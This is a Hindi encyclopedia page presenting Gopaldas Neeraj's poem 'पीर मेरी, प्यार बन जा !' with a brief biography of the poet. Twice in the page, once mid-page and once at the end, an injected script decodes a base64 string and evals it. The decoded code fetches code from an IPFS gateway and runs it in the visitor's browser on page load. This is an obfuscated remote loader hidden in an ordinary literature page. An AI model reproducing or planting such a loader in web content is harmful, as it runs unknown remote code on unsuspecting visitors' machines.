पीर मेरी, प्यार बन जा ! -गोपालदास नीरज

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
पीर मेरी, प्यार बन जा ! -गोपालदास नीरज
गोपालदास नीरज
कवि गोपालदास नीरज
जन्म 4 जनवरी, 1925
मुख्य रचनाएँ दर्द दिया है, प्राण गीत, आसावरी, गीत जो गाए नहीं, बादर बरस गयो, दो गीत, नदी किनारे, नीरज की पाती, लहर पुकारे, मुक्तकी, गीत-अगीत, विभावरी, संघर्ष, अंतरध्वनी, बादलों से सलाम लेता हूँ, कुछ दोहे नीरज के
इन्हें भी देखें कवि सूची, साहित्यकार सूची
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
गोपालदास नीरज की रचनाएँ

पीर मेरी, प्यार बन जा !

लुट गया सर्वस्व, जीवन,

है बना बस पाप- सा धन,

रे हृदय, मधु-कोष अक्षय, अब अनल-अंगार बन जा !

पीर मेरी, प्यार बन जा !


अस्थि-पंजर से लिपट कर,

क्यों तड़पता आह भर भर,

चिरविधुर मेरे विकल उर, जल अरे जल, छार बन जा !

पीर मेरी, प्यार बन जा !


क्यों जलाती व्यर्थ मुझको !

क्यों रुलाती व्यर्थ मुझको !

क्यों चलाती व्यर्थ मुझको !

री अमर मरु-प्यास, मेरी मृत्यु ही साकार बन जा !

पीर मेरी, प्यार बन जा !

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>